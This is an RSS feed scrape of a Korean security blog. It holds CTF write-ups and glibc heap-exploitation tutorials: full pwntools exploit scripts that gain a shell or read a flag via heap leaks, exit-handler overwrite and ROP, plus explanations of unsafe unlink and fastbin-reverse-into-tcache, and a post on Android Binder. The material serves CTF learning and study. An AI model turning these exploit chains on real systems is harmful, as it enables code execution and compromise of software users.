<p>즉 로그인의 id값을 통해 aar과 aaw이 모두 가능한 것이다. </p>
<p>나는 이를 이용해 디버깅을 통해 힙에 libc관련 값이 쓰여진 것을 발견하고 이것을 aar로 릭하여 libc 주소를 구한 다음(힙 주소는 이미 구했으니까 가능), 추가적으로 두 번의 aaw를 수행하여 exit handler overwrite으로 익스를 했다. </p>
<p>최종 익스코드는 아래와 같다. </p>
<pre><code class="language-python">from pwn import * 

p = remote(&quot;54.180.254.97&quot;,31883)

context.log_level = &#39;debug&#39;

register_and_login(b&quot;hi&quot;, b&quot;hi:1&quot;, b&quot;hi&quot;)

#1. heap_base leak==================
for i in range(9):
    add_stream(i, b&quot;&quot;, b&quot;&quot;)

p.recvuntil(b&quot;Welcome, &quot;)
heap_base = u64(p.recv(6)+b&quot;\x00\x00&quot;) &gt;&gt; 12
heap_addr = heap_base &lt;&lt; 12
log.info(hex(heap_base))

for i in range(8):
    delete_entry(7-i)

p.recvuntil(b&#39;&gt; &#39;)
p.sendline(b&#39;5&#39;)  # logout

#2. libc_base ====================
#id가 특정 주소가 되게 계정을 생성
register_and_login(p64(heap_addr+0x490), b&quot;hi:1&quot;, b&quot;hi&quot;)

for i in range(2):
    add_stream(0, b&quot;&quot;, b&quot;&quot;)
for i in range(7):
    add_stream(i+1, b&quot;&quot;, b&quot;&quot;)


show_config(8)
p.recvuntil(b&quot;Name: &quot;)
libc_base = u64(p.recv(6)+b&quot;\x00\x00&quot;)-0x202228
log.info(hex(libc_base))

for i in range(7):
    delete_entry(6-i)

p.recvuntil(b&#39;&gt; &#39;)
p.sendline(b&#39;5&#39;)  # logout

#3. fs_base+0x30 aaw ====================
register_and_login(p64(libc_base -0x2890), b&quot;hi:1&quot;, b&quot;hi&quot;)

for i in range(2):
    add_stream(0, b&quot;&quot;, b&quot;&quot;)
for i in range(7):
    add_stream(i+1, b&quot;&quot;, b&quot;&quot;)

system_offset = 0x58740
edit_entry(8, p64(0) ,p64(0))

for i in range(7):
    delete_entry(6-i)

p.recvuntil(b&#39;&gt; &#39;)
p.sendline(b&#39;5&#39;)  # logout

#4. initial aaw =======================
initial_offset =  0x204fc0

register_and_login(p64(libc_base +initial_offset+0x10), b&quot;hi:1&quot;, b&quot;hi&quot;)
for i in range(2):
    add_stream(0, b&quot;&quot;, b&quot;&quot;)
for i in range(7):
    add_stream(i+1, b&quot;&quot;, b&quot;&quot;)

def rol(val, r_bits, width=64):
    return ((val &lt;&lt; r_bits) | (val &gt;&gt; (width - r_bits))) &amp; (2**width - 1)

system = rol(libc_base+system_offset, 0x11, 64)
binsh = 0x1cb42f

edit_entry(8, p64(4)+p64(system)+p64(libc_base+binsh),p64(0))
for i in range(7):
    delete_entry(6-i)

pause()

p.recvuntil(b&#39;&gt; &#39;)
p.sendline(b&#39;5&#39;)  # logout

p.recvuntil(b&#39;&gt; &#39;)
p.sendline(b&#39;3&#39;)  # exit

p.interactive()
#busanit2025{adb3f281db4ed78212216d3f400037770bd2960c9b3f2e32b19b3333e0767609fa8ae075198eab1045b1ec3dbc93a87d8968c19a86549d1fd43daa826ee25f}</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[Heap exploit - unsafe unlink]]></title>
            <link>https://velog.io/@chk_pass/Heap-exploit-unsafe-unlink</link>
            <guid>https://velog.io/@chk_pass/Heap-exploit-unsafe-unlink</guid>
            <pubDate>Thu, 19 Jun 2025 08:50:28 GMT</pubDate>
            <description><![CDATA[<p><span style="color:gray"> 최신버전 기준 작성</span></p>
<p>doubly linked list에서 청크를 연결 해제하는 과정인 unlink를 이용한 공격기법</p>
<p>⇒원하는 공간에 값을 쓰거나 leak할 수 있게 해주는 공격 기법이다.
<br></br></p>
<blockquote>
<p>&lt;사용조건&gt;</p>
</blockquote>
<ol>
<li>힙 영역을 전역변수에서 관리 (힙 영역을 전역 변수같이 주소를 알고 있는 위치에 unlink 될 청크의 주소가 저장되어있어야 함)</li>
<li>2개의 Allocated Chunk가 필요하며 한 개는 Fake Chunk를 생성할 수 있어야 함</li>
<li>첫 번째 Chunk를 통해 두 번째 Chunk의 헤더를 조작할 수 있어야 함 (8바이트+null)</li>
</ol>
<p><br></br>
&lt;익스 시나리오&gt;</p>
<ol>
<li>두 개의 연속된 청크가 존재하며, 그 중 앞의 청크 주소를 저장하고 있는 전역변수가 존재하는 상황이다. 예를 들면, 0x420을 두 번 할당하고, 맨 앞 청크의 주소를 전역변수인 chunk_ptr에 저장한다고 치자</li>
<li>두 청크는 모두 해제 시에 fastbin이나 tcache에 들어가선 안된다. (크기가 그 이상으로 크던가, tcache를 가득 채우던가)</li>
<li>앞의 청크의 헤더를 제외한 앞부분에 fake chunk의 헤더를 구성해준다. <ol>
<li>청크의 헤더를 제외한 시작 주소 +0x8에 size값을 넣는다. 원래의 sie값보다 0x10보다 작게 설정한다. 예를 들면 원래 청크의 size값이 0x431이었을 것이므로 0x421을 넣는다.</li>
<li>청크의 헤더를 제외한 시작주소 +0x10에 fd를 설정해주는데, &amp;chunk_ptr-0x18을 넣는다. </li>
<li>청크의 헤더를 제이한시작주소 +0x18에 bk를 설정해주는데 &amp;chunk_ptr-0x10을 넣는다. </li>
</ol>
</li>
<li>두 번째 chunk의 헤더를 조작한다. <ol>
<li>prev_size가 직전에 구성한 fake chunk의 size가 되도록한다. 여기서는 0x420이면된다. </li>
<li>추가로 널을 써줘서 prev_in_use 비트가 0, 즉 직전 청크가 free 청크라고 인식되게 한다.</li>
</ol>
</li>
<li>두 번째 chunk를 해제한다. <ol>
<li>그러면 두 번째 청크를 해제하는 과정에서 직전 청크(fake chunk)가 free된 chunk라고 인식하고 둘을 병합하려한다. 병합 중 존재하는 unlink 루틴에 의해 chunk_ptr이 원래의 첫 번째 청크가 아니라 &amp;chunk_ptr-0x18을 가리키게 된다. </li>
<li>즉, chunk_ptr = &amp;chunk_ptr-0x18</li>
</ol>
</li>
<li>chunk_ptr을 통해 해당 주소에접근하여 chunk_ptr+0x18에 우리가 값을 쓰고 싶은 주소의 값을 넣는다. </li>
<li>그리고 chunk_ptr, 즉 우리가 값을 쓰고싶은 주소에 쓰고싶은 값을 쓴다. </li>
</ol>
<p><br></br>
&lt;원리&gt;</p>
<img src="https://velog.velcdn.com/images/chk_pass/post/b2da1da3-49ba-4067-ae96-50ea9f4956d2/image.png" width="450" height="450"/>



<p>우선 가장 기본 상태일때 힙 구조와 전역변수의 상황은 위와 같다. 
<br></br></p>
<img src=https://velog.velcdn.com/images/chk_pass/post/457e68f1-4b50-4109-bb6e-b93cecfd8f53/image.png width="450">


<p>그리고 fake chunk를 구성하고, 두 번째 청크의 메타데이터를 조작해준 모습이다. </p>
<p>위와 같이 구성해주는 이유는 다음과 같다. </p>
<ol>
<li>우선, 두 번째 청크의 마지막 비트를 0으로 바꾸어주어야 직전 인접 청크, 즉 fake chunk를 free된 청크로 인식할 것이며 그래야 두 번째 청크 free 시에 직전 청크와의 병합이 이루어지면서 해당 공격기법의 목적을 달성할 수 있다. </li>
</ol>
<pre><code class="language-cpp">       prevsize = prev_size (p);
       size += prevsize;
       p = chunk_at_offset(p, -((long) prevsize));
+      if (__glibc_unlikely (chunksize(p) != prevsize))
+        malloc_printerr (&quot;corrupted size vs. prev_size while consolidating&quot;);</code></pre>
<ol start="2">
<li>위의 보호기법은 free와 병합 루틴에 새롭게 추가된 보호기법인데, 따라서 두 번째 청크의 prevsize와 fake chunk의 size값을 통일시켜주어야할 필요가 있다. </li>
<li>fake chunk의 fd와 bk를 각각 &amp;chunk_ptr-0x18, &amp;chunk_ptr-0x10로 설정해주어야 <code>(P-&gt;fd-&gt;bk != P || P-&gt;bk-&gt;fd != P)</code> 이라는 보호기법을 우회할 수 있게 된다. 
 1) 해당 보호기법은 unlink 루틴 내에 존재하는데, 각 조건을 따라가보면 다음과 같다.
 2) 우선 p→fd는 &amp;chunk_ptr-0x18이고, 이것의 bk는 +0x18의 위치에 존재하므로 결국 원래  chunk_ptr의 위치에 써진 값을 의미하고, 이는 청크의 시작주소이므로 곧 p와 동일하다. 
 3) p→bk는 &amp;chunk_ptr-0x10이고, 이것의 fd는 +0x10위치에 존재하므로 결국 원래  chunk_ptr의 위치에 써진 값을 의미하고, 이는 청크의 시작주소이므로 곧 p와 동일하다. 
<br></br><img src=https://velog.velcdn.com/images/chk_pass/post/39ea41cd-d7db-4884-b7db-306f9939efba/image.png width="450">

</li>
</ol>
<p>이제 두 번째 청크를 free하면 fake 청크와의 병합이 일어나고, 그 과정에서 fake chunk를 대상으로 unlink가 일어나게 된다. </p>
<p>unlink에는 아래와 같은 루틴이 존재한다. </p>
<pre><code class="language-cpp">static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr (&quot;corrupted size vs. prev_size&quot;);

  mchunkptr fd = p-&gt;fd;
  mchunkptr bk = p-&gt;bk;

  if (__builtin_expect (fd-&gt;bk != p || bk-&gt;fd != p, 0))
    malloc_printerr (&quot;corrupted double-linked list&quot;);

  fd-&gt;bk = bk;
  bk-&gt;fd = fd;</code></pre>
<p>(위 코드에서 보이는 모든 보호기법은 이미 우회한 상태)</p>
<p>여기서 우리가 주목해야할 것은 마지막 두 줄이다. </p>
<p>일단 fd, bk는 각각 &amp;chunk_ptr-0x18, &amp;chunk_ptr-0x10를 의미한다. </p>
<p>먼저 <code>fd-&gt;bk = bk;</code>를 수행한다고 생각해보자. </p>
<p>fd→bk는 &amp;chunk_ptr인데, 여기에 bk, 즉 &amp;chunk_ptr-0x10를 대입한다. </p>
<p>따라서 chunk_ptr위치에 &amp;chunk_ptr-0x10라는 값이 들어간 상태이다. </p>
<p>다음으로는 <code>bk-&gt;fd = fd;</code>를 수행할 차례이다. </p>
<p>bk→fd는 &amp;chunk_ptr이고, 여기에 fd, 즉  &amp;chunk_ptr-0x18를 대입한다. </p>
<p>따라서 최종적으로는 chunk_ptr이라는 전역변수의 위치에 &amp;chunk_ptr-0x18주소값이 쓰이게 된다. 
<br></br></p>
<p>보통 익스 상황에서는 해당 전역변수를 대상으로 읽기, 쓰기 등이 가능한 상태일 것이므로 이제 &amp;chunk_ptr-0x18으로의 접근이 가능하고, 이를 이용해 &amp;chunk_ptr에 우리가 접근하고 싶은 주소 값을 쓰고, 또 이를 바탕으로 우리가 접근하고 싶은 주소에 원하는 값을 쓰면 된다. 그러면 aaw or aar이 가능하다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[System Service in Android]]></title>
            <link>https://velog.io/@chk_pass/System-Service-in-Android</link>
            <guid>https://velog.io/@chk_pass/System-Service-in-Android</guid>
            <pubDate>Sat, 04 Jan 2025 13:01:04 GMT</pubDate>
            <description><![CDATA[<p>안드로이드에서 시스템 서비스는 클라이언트와 서버의 구조를 가지고 있다.
시스템 서비스의 정의는 <code>framework/framework.jar</code>에서 찾을 수 있고, 실제 구현은 여러 곳에 흩어져있지만 주로 <code>framework/services.jar</code>에서 찾을 수 있다. </p>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/54ff704a-0042-4b80-8a87-f6a80823ed0b/image.png" alt="">
<img src="https://velog.velcdn.com/images/chk_pass/post/9142e00c-5a04-49d5-aaa2-b39790cb21c7/image.png" alt=""></p>
<p>| 프록시 → 클라이언트 측</p>
<p>| 스텁 → 서버측</p>
<img>
<img>

<p>클라이언트 프로세스가 <code>transact()</code> 메서드를 호출하면 서버 프로세는 <code>onTransact()</code> 메서드를 통해 호출을 받는다.</p>
<p>transact는 (transaction_id, input, ouput)과 같은 형태이며 onTransact는 transaction_id에 따른 switch문으로 구성되는 것이 보통이다.</p>
<img>
<img>

<h2 id="service-manager">service manager</h2>
<p>service manager = Android의 System Service를 관리하는 중요한 프로세스, 각 서비스마다 핸들을 부여하고 서비스의 추가 및 검색 기능을 수행함.</p>
<p>서비스는 실행 시 addService()함수를 통해 Service Manager에 서비스 핸들을 등록하며, application들은 Service Manager로부터 System Service에 대한 정보를 획득할 수 있다.</p>
<img>
<img>

<h2 id="binder">Binder</h2>
<p>서로 다른 프로세스들을 연결 (링커의 다른 프로세스 간 버전이라고 생각하면 됨)</p>
<p>원래 IPC도구이지만, 다른 프로세스의 함수를 현재 프로세스에 존재하는 함수처럼 사용할 수 있게 해주는 RPC에 가장 많이 쓰인다. </p>
<p>binder는 프로세스간에 커널 공간은 공유가 가능하다는 점을 이용하여 커널공간에서 동작하는 binder driver라는 추상화된 드라이버를 이용한다. 이를 이용하면 프로세스간 통신이 가능해진다. </p>
<p>이는 /dev/binder에 위치하며 binder를 사용하고자 하는 프로세스는 이 디바이스를 open하면 된다. 여러 스레드가 동일한 fd를 공유해도 된다.
<img src="https://velog.velcdn.com/images/chk_pass/post/998efde5-e6d2-48a3-9606-41213d56bb11/image.png" alt=""></p>
<img>
<img>


<h2 id="system-service---daemon과의-관계-예시">system service - daemon과의 관계 예시</h2>
<p>installd의 isQuotaSupported를 예로 들자면, 아래 api는 서비스 클라이언트 단에서 수행되는 코드이며 아래 코드가 수행되면 서비스 서버인 Installd에서 요청을 받는다. 그리고 클라이언트는 Installd 데몬의 응답을 대기하다가 응답이 오면 이를 obtain2에서 받는다. 인자와 응답이 오고가는 <code>obtain</code>과 <code>obtain2</code>는 parcel이라는 자료형을 가지는데, 이는 안드로이드의 IPC에서 값을 주고받기 위한 일종의 박스라고 보면 된다. 
<img src="https://velog.velcdn.com/images/chk_pass/post/5c420c93-de33-4676-9666-ad694a227eda/image.png" alt=""></p>
<img>
<img>
<img>
요청을 받은 installd daemon은 아래의 코드를 수행하게 된다. (정확히는 서비스 서버에서 onTransact가 실행되고 그 안의 transaction id에 따른 switch문에 의해 native 코드가 실행된다.)

<p><img src="https://velog.velcdn.com/images/chk_pass/post/1adf5629-878b-4745-955a-39279cfd2714/image.png" alt=""></p>
<p>클라이언트에서 rpc형태로 데몬의 메소드를 호출하는 형태인 듯. 그 과정에서 바인더가 작용한다. (요청 전달을 바인더가 하는 형태)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Hacktheon 2024] Intelitigation WU]]></title>
            <link>https://velog.io/@chk_pass/Hacktheon-2024-Intelitigation-WU</link>
            <guid>https://velog.io/@chk_pass/Hacktheon-2024-Intelitigation-WU</guid>
            <pubDate>Sat, 04 May 2024 05:26:17 GMT</pubDate>
            <description><![CDATA[<p>nc로 접속하면 그 때 그때 다른 바이너리를 준다. 따라서 직접 실시간으로 바이너리를 받아와 분석해야 한다. </p>
<p>기본 구조를 살펴보면 canary값을xxd로 바이너리를 열었을 때 기준으로 0x3020 오프셋 부터 총 10개의 카나리 값이 저장되어 있고, 이 중 하나를 카나리값으로 가져와 사용한다. </p>
<p>따라서 subprocess모듈로 직접 카나리 후보 10개와 그 중 사용되는 카나리의 인덱스를 가져오는 코드를 짜주었다. </p>
<pre><code class="language-python">p.recvuntil(b&quot;This is Your Binary&gt;&quot;)
p.recvline()
bin = p.recvuntil(b&quot;input&gt;&quot;)[:-7]
os.system(&quot;rm bin1&quot;)
os.system(&quot;touch bin1&quot;)
f = open(&quot;bin1&quot;, &quot;wb&quot;)
f.write(base64.b64decode(bin))
f.close()
canary =[]

for i in range(5):
    cmd = f&quot;xxd bin1 | grep 30{i+2}0&quot;
    out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()

    out1 = out.split(&quot;:&quot;)[1][1:20]
    out2 = out.split(&quot;:&quot;)[1][21:40]

    out1.replace(&quot; &quot;, &quot;&quot;)
    out2.replace(&quot; &quot;, &quot;&quot;)
    canary.append(int.from_bytes( bytes.fromhex(out1)[::-1], byteorder=&#39;big&#39;))
    canary.append(int.from_bytes( bytes.fromhex(out2)[::-1], byteorder=&#39;big&#39;))

cmd = &quot;xxd bin1 | grep 3070&quot;
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()
idx = int(out.split(&quot;:&quot;)[1][2:3])
</code></pre>
<p><br></br>
이제 카나리값을 구했으니 bof취약점을 이용하면 된다. </p>
<p>그런데 pie가 걸려있어 pie_base를 구해줘야 한다. 일단 첫 싸이클의 ret에는 파이 관련 값이 적혀있고, 이 주소는 메인 함수와 마지막 한 바이트만 다르므로 마지막 한 바이트만 overwrite해 main을 다시 실행시켜줌과 동시에 출력 값을 기반으로 pie base까지 구해주었다. (아예 main시작으로 돌리면 stack alignment 때문에오류나서 mov rbp, rsp 부분으로 jmp시켜준다)</p>
<p>이를 실행하는 코드는 아래와 같다.</p>
<pre><code class="language-python">p.send(b&quot;A&quot;*(0x208)+p64(canary[idx])+b&quot;A&quot;*8+b&quot;\x29&quot;)

p.recvuntil(b&quot;A&quot;*0x208+p64(canary[idx])+b&quot;A&quot;*8)
pie_base = u64(p.recv(6)+b&quot;\x00\x00&quot;)-0x1329
log.info(hex(pie_base))
</code></pre>
<p><br></br>
일단 main을 한 번 더 실행시킨 상태이므로 한 번 더 bof를 할 수 있다. </p>
<p>바이너리 내부를 잘 살펴보면 open-read-write함수가 주어졌으나 open의 대상은 rdi이고 마음대로 컨트롤이 불가능한 상태이다. </p>
<p>따라서 가젯을 이용해 rdi에 “flag”를 넣어주면 된다 </p>
<p>다음과 같은 절차로 가젯을 사용해주었다. </p>
<ol>
<li><p>pop rbp로 flag를 직접 rbp에 넣기</p>
</li>
<li><p>0x12ac 오프셋에 존재하는 함수=&gt; rbp를 push ⇒mov  rbp, rsp ⇒ mov rdi, rsp =&gt; pop  r8. 즉, flag가 위치하는 “주소”를 rdi에 넣을 수가 있다.</p>
</li>
<li><p>이후 바로 orw함수 호출해주면 flag를 orw할 수 있음.</p>
</li>
</ol>
<p>페이로드는 아래와 같다.</p>
<pre><code class="language-python">p.send(b&quot;flag&quot; + b&quot;b&quot;*(0x208-4)+p64(canary[idx])+b&quot;A&quot;*8+p64(pie_base+poprbp) + b&quot;flag\x00\x00\x00\x00&quot; + p64(pie_base+setting) + p64(pie_base+0x124e))
</code></pre>
<p><br></br>
이렇게 익스해주면 아래와 같이 출력 중간에 flag가 출력된 것을 확인할 수 있다.
<img src="https://velog.velcdn.com/images/chk_pass/post/c3f811cf-ecfa-4491-89b2-585e5163a0aa/image.png" alt=""></p>
<p>key: Th1s_1s_b34ut1fu1_c4n4ry</p>
<p>flag: <strong>HTO{6074a1bf8d8541fe896962859000ea89}</strong>
<br></br>
&lt;익스코드&gt;</p>
<p>```python
from pwn import *
import base64
import os
import subprocess</p>
<p>p = remote(&quot;hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com&quot;, 5001)
ret = 0x000000000000101a
movr = 0x00000000000012b4
poprbp = 0x00000000000011d3 #pop rbp ; ret
setting = 0x00000000000012b0</p>
<p>p.recvuntil(b&quot;This is Your Binary&gt;&quot;)
p.recvline()
bin = p.recvuntil(b&quot;input&gt;&quot;)[:-7]
os.system(&quot;rm bin1&quot;)
os.system(&quot;touch bin1&quot;)
f = open(&quot;bin1&quot;, &quot;wb&quot;)
f.write(base64.b64decode(bin))
f.close()
canary =[]</p>
<p>for i in range(5):
    cmd = f&quot;xxd bin1 | grep 30{i+2}0&quot;
    out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()</p>
<pre><code>out1 = out.split(&quot;:&quot;)[1][1:20]
out2 = out.split(&quot;:&quot;)[1][21:40]

out1.replace(&quot; &quot;, &quot;&quot;)
out2.replace(&quot; &quot;, &quot;&quot;)
canary.append(int.from_bytes( bytes.fromhex(out1)[::-1], byteorder=&#39;big&#39;))
canary.append(int.from_bytes( bytes.fromhex(out2)[::-1], byteorder=&#39;big&#39;))</code></pre><p>cmd = &quot;xxd bin1 | grep 3070&quot;
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()
idx = int(out.split(&quot;:&quot;)[1][2:3])</p>
<p>p.send(b&quot;A&quot;<em>(0x208)+p64(canary[idx])+b&quot;A&quot;</em>8+b&quot;\x29&quot;)
p.recvuntil(b&quot;A&quot;<em>0x208+p64(canary[idx])+b&quot;A&quot;</em>8)
pie_base = u64(p.recv(6)+b&quot;\x00\x00&quot;)-0x1329
log.info(hex(pie_base))</p>
<p>p.send(b&quot;flag&quot; + b&quot;b&quot;<em>(0x208-4)+p64(canary[idx])+b&quot;A&quot;</em>8+p64(pie_base+poprbp) + b&quot;flag\x00\x00\x00\x00&quot; + p64(pie_base+setting) + p64(pie_base+0x124e))</p>
<p>p.interactive()```</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Exit handler overwrite]]></title>
            <link>https://velog.io/@chk_pass/Exit-handler-overwrite</link>
            <guid>https://velog.io/@chk_pass/Exit-handler-overwrite</guid>
            <pubDate>Mon, 15 Apr 2024 00:59:46 GMT</pubDate>
            <description><![CDATA[<p>glibc 2.34이후 훅변수가 사라지면서 aaw 취약점이 있어도 덮을 곳이 사라지는 문제가 생겼다. 이런 상황에서 보통 libc got를 덮는 방법도 많이 쓰지만 또 다른 방법을 소개하고자 한다. 
바로 exit_handler함수를 이용하는 방법이다. 
인자를 직접 지정해줄 수 있으므로 활용성이 좋고, libc got를 덮으면 오류가 나는 상황에서 활용할 수 있다. 
<br></br>
조건: 총 2번의 aaw가 가능할 때 ⇒ libc_base필요(fs_base와 initial은 모두 libc 기준으로 구할 수 있음)<br></br>
&lt;익스 시나리오&gt;</p>
<ol>
<li>fs_base+0x30의 위치에 p64(0) 덮기 (덮을 수 없다면 값을 leak해도 됨)</li>
<li>initial+0x10에 p64(4), initial+0x18에 호출하고 싶은 함수를 0x11만큼 rol한 값 , initial+0x20에 인자 주소 덮기</li>
<li>exit함수 실행</li>
</ol>
<p><br></br>
&lt;원리&gt;</p>
<p>exit함수 내부의 __run_exit_handler는 특정 루틴 상 initial+0x18 포인터 값을 가져와 demangling과정(0x11만큼 ror하고 fs+0x30의 값과 xor함)을 거친 후 initial+0x20을 인자로 하여 실행됨.</p>
<p>&lt;__run_exit_handler&gt; 어셈블리 코드 내부&gt;</p>
<ol>
<li>rcx (=initial+0x10)이 4라면 +208의 위치로 jmp</li>
</ol>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/9142481b-bce8-4f10-bb79-79bd51d47bf8/image.png" alt=""></p>
<ol start="2">
<li>마지막에 rdi에 r13을 넣고 rax실행</li>
</ol>
<p><img src="https://velog.velcdn.com/images/chk_pass/post/37b8f672-e6ac-4b9d-abd7-b7aca45d4b69/image.png" alt=""></p>
<p>rax는 무엇인가?(함수포인터) ⇒ initial+0x18위치의 값을 가져온다음 0x11만큼 ror하고 fs+0x30의 값과 xor한 값에 해당. </p>
<p>r13은 무엇인가?(인자)⇒ +215를참고하면 initial+0x20에 해당</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Heap exploit - Fastbin Reverse into Tcache]]></title>
            <link>https://velog.io/@chk_pass/Heap-exploit-Fastbin-Reverse-into-Tcache</link>
            <guid>https://velog.io/@chk_pass/Heap-exploit-Fastbin-Reverse-into-Tcache</guid>
            <pubDate>Tue, 09 Apr 2024 04:00:06 GMT</pubDate>
            <description><![CDATA[<p>&gt;glibc 2.25</p>
<aside>
💡 해제된 청크의 next pointer를 변조할 수 있을 때 AAW를 가능하게 하는 기법

</aside>

<p><br></br>
&lt;익스 시나리오&gt;</p>
<ol>
<li><p>14개의 청크 할당 (fastbin 범위 내여야 함)</p>
</li>
<li><p>그 중 7개를 free하여 tache를 다 채우기 </p>
</li>
<li><p>청크를 하나 더 해제 (=victim청크, fastbin으로 이동)</p>
</li>
<li><p>1~6개의 청크를 더 해제 (모두 fastbin으로 이동) </p>
</li>
<li><p>victim 청크의 next pointer를 원하는 주소로 덮어쓴다 (2.32이상은 safe link 고려)</p>
</li>
<li><p>7개의 청크를 다시 할당하여 tache를 비운다. </p>
</li>
<li><p>그리고 나서 하나의 청크를 더 할당하면 fastbin의 청크들이 reverse순서로 tcache에 들어간다. </p>
<p> 즉, fastbin의 가장 첫 번째 청크가 할당되고 나서, 할당 이후에는 victim청크에 변조해놓은 원하는 주소값이 tcache의 가장 첫 번째 청크가 된다. </p>
</li>
<li><p>한 번의 할당이 더 일어나게 되면 원하는 주소값에 청크가 할당된다. </p>
</li>
</ol>
<p><br></br>
&lt;원리&gt;</p>
<p>_int_malloc의 내부 루틴 중 아래 부분에 의하여 fastbin범위의 청크 할당 시에 tcache에 자리가 있다면, tcache가 모두 차거나 fastbin이 비워질 때까지 fastbin의 청크를 tcache로 옮기는 루틴이 있다.</p>
<pre><code class="language-c">#if USE_TCACHE
          /* While we&#39;re here, if we see other chunks of the same size,
         stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache &amp;&amp; tc_idx &lt; mp_.tcache_bins)
        {
          mchunkptr tc_victim;

          /* While bin not empty and tcache not full, copy chunks.  */
          while (tcache-&gt;counts[tc_idx] &lt; mp_.tcache_count
             &amp;&amp; (tc_victim = *fb) != NULL)
            {
              if (__glibc_unlikely (misaligned_chunk (tc_victim)))
            malloc_printerr (&quot;malloc(): unaligned fastbin chunk detected 3&quot;);
              if (SINGLE_THREAD_P)
            *fb = REVEAL_PTR (tc_victim-&gt;fd);
              else
            {
              REMOVE_FB (fb, pp, tc_victim);
              if (__glibc_unlikely (tc_victim == NULL))
                break;
            }
              tcache_put (tc_victim, tc_idx);
            }
        }
#endif</code></pre>
<p>따라서 위 시나리오 중 6번에서 tcache를 비운 뒤 청크를 한 번 더 할당하게 되면 fastbin의 청크들이 모두 tcache로 들어가게 되는 것이다. </p>
<p><strong>즉, 7번 이전 상황</strong></p>
<p>fastbin : 7→6→5→4→3→2→victim→변조한 주소 → 변조한 주소에 해당하는 값</p>
<p><strong>7번 이후 상황</strong></p>
<p>tcache: 변조한 주소→ victim→ 2→ 3→ 4→ 5→ 6 (7번의 할당에서 7청크가 할당됨)</p>
<p>fastbin: 변조한 주소에 해당하는 값</p>
<p><strong>따라서 한 번의 malloc이 더 일어나면 tcache의 가장 앞에 있는 “변조한 주소”에 청크가 할당된다.</strong> 
<br></br></p>
<p><strong>victim 청크 이후에 추가로 해제하는 청크의 개수는 몇개여야 하는가?</strong></p>
<p>⇒ 청크를 할당하고 싶은 주소에 존재하는 값이 0(or valid한 값)인 경우에는 6개 이하도 가능이지만 0이 아니라면 반드시 6개의 청크를 해제해야 한다.</p>
<p>⇒ 왜냐하면, 청크를 할당하고 싶은 주소에 존재하는 값은 tcache 상에서 next pointer로 취급될 것이고, 만약 그 값이 valid하지 않거나 null이 아니라면 crash가 발생할 것이기 때문이다. </p>
<p>⇒ 여기서 valid한 값이란, 16진수로 나타냈을 때 기준 마지막 0.5바이트가 0으로 끝나는 즉, 0x???0형태를 가짐을 의미한다. 그리고 valid한지의 판단은 glibc 2.32이상부터는 safe link를 고려해서 판단해야 한다. (만약 0으로 끝나도 safe link를 고려한다면 0으로 끝나지 않게 되는 경우,  valid하지 않다고 판단)</p>
<p>⇒ 오류가 나는 이유를 좀 더 자세하게 분석해보자면 다음과 같다. 우선 &lt;원리&gt;의 코드를 참고하면, fastbin이 비워지거나 tcache가 다 찰 때까지 fastbin 청크를 tcache로 이동시키는 부분이 존재한다. 이는 fastbin의 가장 앞에 있는 청크부터 순서대로 tcache에 밀어넣기 때문에 fastbin에서와 반대의 순서로 tcache에 들어가게 되는것이다. 그런데, 만약 6개보다 적은 수의 청크를 해제하게 된다면 변조한 주소에 해당하는 값까지도 tcache로 이동시켜야 할 대상이 된다. (6개의 청크를 해제한다면 변조한 주소에 해당하는 값의 차례가 오기 전에 tcache가 다 차버리게 됨) 즉, 변조한 주소에 해당하는 값까지도 검증의 대상이 된다는 것이다. 따라서 <code>misaligned_chunk()</code> 를 통과할 수 있어야하는데 이 값이 valid하거나 널이 아니라면 여기서 오류가 나서 강제종료된다. </p>
<p><strong>5개의 청크를 해제한다면 다음과 같은 상황이 발생</strong></p>
<p><strong>7번 이전 상황</strong></p>
<p>fastbin : 6→5→4→3→2→victim→변조한 주소 → 변조한 주소에 해당하는 값</p>
<p><strong>7번 이후 상황</strong></p>
<p>tcache: 변조한 주소에 해당하는 값(검증대상)→변조한 주소→ victim→ 2→ 3→ 4→ 5→ 6 (7번의 할당에서 7청크가 할당됨)</p>
<p><br></br></p>
<p>&lt;구현코드&gt;-how2heap glibc 2.35 기준</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;assert.h&gt;

const size_t allocsize = 0x40;

int main(){
    setbuf(stdout, NULL);

    printf(&quot;\n&quot;
           &quot;This attack is intended to have a similar effect to the unsorted_bin_attack,\n&quot;
           &quot;except it works with a small allocation size (allocsize &lt;= 0x78).\n&quot;
           &quot;The goal is to set things up so that a call to malloc(allocsize) will write\n&quot;
           &quot;a large unsigned value to the stack.\n\n&quot;);
    printf(&quot;After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n&quot;
           &quot;An heap address leak is needed to perform this attack.\n&quot;
           &quot;The same patch also ensures the chunk returned by tcache is properly aligned.\n\n&quot;);

    // Allocate 14 times so that we can free later.
    char* ptrs[14];
    size_t i;
    for (i = 0; i &lt; 14; i++) {
        ptrs[i] = malloc(allocsize);
    }

    printf(&quot;First we need to free(allocsize) at least 7 times to fill the tcache.\n&quot;
             &quot;(More than 7 times works fine too.)\n\n&quot;);

    // Fill the tcache.
    for (i = 0; i &lt; 7; i++) free(ptrs[i]);

    char* victim = ptrs[7];
    printf(&quot;The next pointer that we free is the chunk that we&#39;re going to corrupt: %p\n&quot;
           &quot;It doesn&#39;t matter if we corrupt it now or later. Because the tcache is\n&quot;
           &quot;already full, it will go in the fastbin.\n\n&quot;, victim);
    free(victim);

    printf(&quot;Next we need to free between 1 and 6 more pointers. These will also go\n&quot;
